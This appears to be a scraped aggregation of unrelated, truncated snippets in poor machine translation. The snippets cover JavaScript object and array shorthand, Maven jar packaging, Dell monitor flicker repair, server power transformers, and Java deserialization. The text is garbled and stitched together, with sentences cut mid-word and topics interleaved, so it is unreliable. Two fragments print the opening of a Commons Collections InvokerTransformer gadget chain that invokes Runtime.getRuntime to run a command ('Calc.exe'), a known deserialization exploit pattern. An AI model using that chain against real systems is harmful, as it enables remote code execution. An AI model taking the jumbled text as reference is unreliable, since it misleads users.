(1) simplified codeIt is very simple to define objects and arrays in JavaScript. We want to create an object, which is generally written as follows:Copy codeThe Code is as follows:Var car = new Object ();Car. color = 'red ';Car. wheels = 4;Car. hubcaps = 'spinning ';Car. age = 4; The following statement can achieve the same effect:Copy codeThe Code is as follows:Var car = {Color: 'red ',Wheels: 4,Hubcaps: 'spinning ',Age: 4} The subsequent statement is much shorter, and you do not need to repeat
The success of JavaScript is repeat. Writing JavaScript code for Web pages is already the basic skill of all Web designers. This interesting language contains many unfamiliar things, even if JavaScript programmers who have been writing JavaScript for many years, not completely thorough. This article describes seven tips that are not familiar with but useful in JavaScript.Simple statementJavaScript can use simple statements to quickly create objects and arrays, such as the following code:Copy cod
The problem is that when it comes to spring, the local IDE runs normally, but runs the times wrong on the cluster after packaging.The source of the problem is determined by the multi-party lookup of the data, and the file overwrite occurs because many packages of spring are called in the dependency.Specifically,These three files. After viewing, only the TX configuration is left.WorkaroundThe first approach is to use MAVEN's packaged plug-in to keep the configuration information for each spring p
Using plug-in Maven-shade-plugin can easily export the way a project has a jar package, and the benefit of the plugin is that it encapsulates the other jar packages that the project relies on, which can be run directly on any JVM. I initially used Eclipse's maven-build to package directly and moved to IntelliJ idea without this button, only to use the command line.First, add the plug-in to Pom.xml, next use the MVN package, and finally projectname/target/to find the target jar Build> P
the object repeatedly. So car is defined, perhaps you will encounter invaliduserinsession problem, this only you will encounter when using IE, just remember a little, do not put a comma in front of the curly braces, you will not have trouble.
Another very handy shorthand is for arrays. The traditional way to define arrays is this:
1 var moviesThatNeedBetterWriters = new Array(
2 ‘Transformers‘,‘Transformers2‘,‘Avatar‘,‘IndianaJon
Focus: http://www.javascriptkit.com/Create an object:var car = new Object ();Car.colour = ' red ';Car.wheels = 4;Car.hubcaps = ' spinning ';Car.age = 4;The same can acchieved with:var car = {Colour: ' Red ',Wheels:4,Hubcaps: ' Spinning ',Age:4}Note: But what happens when do you use invalidUserInSession ? The main gotcha in this notation is IE. Never ever leave a trailing comma before the closing curly brace or you'll be in trouble.var moviesthatneedbetterwriters = new Array ('
remove all the interference around the monitor, you can move the Dell notebook to an empty table around, and then the power-on test, if the phenomenon of screen jitter disappears, then your computer original place has strong electric field or strong magnetic field interference.
2, if the power transformer from the monitor and chassis too close, will also lead to Dell notebook splash screen, because the power transformers will cause large electromagn
Java deserialization-The Transformedmap class can execute malicious code in the principle of 0x00 codeMap map=new HashMap (); Map.put ("Key", "value"); Call the ToString method of the target object String command= "Calc.exe"; Final string[] Execargs = new string[] {command}; Final transformer[] transformers = new transformer[] {new Constanttransformer (Runtime.class), New Invokertransformer ("GetMethod", new cl
Java deserialization-The transformer class can execute malicious code in the principle of 0x00 code transformer[] transformers = new transformer[]{new Constanttransformer (Runtime.class), New Invokertransformer ("GetMethod", New class[]{string.class,class[].class},new object[]{"GetRuntime", New Clas S[0]}), New Invokertransformer ("Invoke", new Class[]{object.class,object[].class},new Object[]{null, new Object[0]}), New Invokertransformer ("
code as follows:
var moviesthatneedbetterwriters = new Array (
' Transformers ', ' Transformers2 ', ' Avatar ', ' Indiana Jones 4 '
);
A more concise formulation is:
Copy Code code as follows:
var moviesthatneedbetterwriters = [
' Transformers ', ' Transformers2 ', ' Avatar ', ' Indiana Jones 4 '
];
For arrays, there is an associative array of such a special
1. Simplify code
JavaScript defines objects and arrays very simply, and we want to create an object that is generally written like this:
Copy Code code as follows:
Car.colour = ' red ';
Car.wheels = 4;
Car.hubcaps = ' spinning ';
Car.age = 4;
The following writing can achieve the same effect:
Copy Code code as follows:
Colour: ' Red ',
Wheels:4,
Hubcaps: ' Spinning ',
Age:4
}
The writing is much shorter, and you don't have to repeat t
concise way of writing the array, which we have declared in the past:
1
var moviesthatneedbetterwriters = new Array (
2
' Transformers ', ' Transformers2 ', ' Avatar ', ' Indiana Jones 4 '
3
);
more concise writing is:
1
var moviesthatneedbetterwriters = [
2
' Transformers ', ' Transformers
display.
For the display itself caused by the black screen fault, we mainly from the following points for you to provide more specific maintenance ideas.
1. Monitor black screen for fast maintenance
If there is no display after the monitor boot, excluding the reasons for the host, you can first check if the voltage is too high or too low caused the display protection circuit work, you can check its accelerator voltage is normal. In addition, the key is to check the following problems prone c
. The efficiency of many cheap transformers is only 80%, but through the upgrade utilization can reach 90% or more, so that the power loss can be significantly reduced.
6, the server chip update to low power consumption products
Because the server hardware is already in service life, it is obvious that a small power-hungry server CPU and other components (such as the disk drives and Transformers mentioned
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